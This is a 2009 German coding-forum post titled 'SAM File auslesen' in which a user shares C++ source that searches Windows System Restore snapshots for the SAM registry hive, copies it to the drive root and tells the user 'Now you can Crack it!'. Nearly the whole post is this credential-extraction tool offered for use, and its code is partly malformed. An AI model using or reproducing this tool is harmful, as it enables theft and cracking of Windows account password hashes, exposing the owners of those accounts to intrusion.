PHP Forum - Coding Board
April 20, 2018, 01:24:16 *
Willkommen Gast. Bitte einloggen oder registrieren.

Einloggen mit Benutzername, Passwort und Sitzungslänge
News:
 
   Übersicht   Hilfe Suche Einloggen Registrieren  
Seiten: [1]
  Drucken  
Autor Thema: SAM File auslesen  (Gelesen 81 mal)
0 Mitglieder und 1 Gast betrachten dieses Thema.
Ph0xEn
Jr. Member
**
Beiträge: 62


Profil anzeigen E-Mail
« am: Februar 19, 2009, 07:32:26 »

Hier Ladies vielleicht geht das ja noch....

Code:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <string>
#include <iostream.h>

using namespace std;

HANDLE fHandle;
WIN32_FIND_DATA data;
char* newDir = &quot;&quot;;
const char *out;
int main()
{

char *path = &quot;C:\\system~1\\_resto~1\\*&quot;;
void :: getDics(char *dirz);
void :: paintLogo();
void :: getSam();
void :: dataCopied();
paintLogo();
getDics(path);
getSam();
dataCopied();
cin.get();
}

void getSam()
{

string newPath, endString, middleString, bootDrive;
cout<<&quot;Please select your Windows Drive for example C: &quot;<<endl;
cin>>bootDrive;

newPath = bootDrive + &quot;:\\system~1\\_resto~1\\&quot;;
middleString = newDir;
endString = newPath + middleString + &quot;\\snapshot\\_REGISTRY_MACHINE_SAM&quot;;
const char* copyC;
copyC = endString.c_str();
bootDrive = bootDrive + &quot;:\\SAM&quot;;
out = bootDrive.c_str();
CopyFile(copyC, out, true);
}

void getDics(char* dirz)
{
fHandle=FindFirstFile(dirz, &data);
while(FindNextFile(fHandle, &data))  
{
  if (!( (data.cFileName[0]=='.') && ( (data.cFileName[1]=='.' && data.cFileName[2]==0) || data.cFileName[1]==0 ) ))
    {
         if (data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
         {          
                     dirz =  data.cFileName;
                     newDir = dirz;
         }
    }
}
FindClose(fHandle);
}

void paintLogo() {
printf(&quot;OoOoOoOoOoOoOoOoOoOoOoOoOoOoO\n&quot;);
printf(&quot;Oo     By [N.e.0]     oO\n&quot;);
printf(&quot;Oo http://www.uncreativ.de oO\n&quot;);
printf(&quot;OoOoOoOoOoOoOoOoOoOoOoOoOoOoO\n&quot;);
}

void dataCopied() {
cout<<endl;
cout<<&quot;SAM file Saved at Local Drive &quot;<<out<<endl;
cout<<&quot;Now you can Crack it!&quot;<<endl;
}


Mfg
Gespeichert
Seiten: [1]
  Drucken  
 
Gehe zu:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.21 | SMF © 2006-2009, Simple Machines | New Look by Nolt Prüfe XHTML 1.0 Prüfe CSS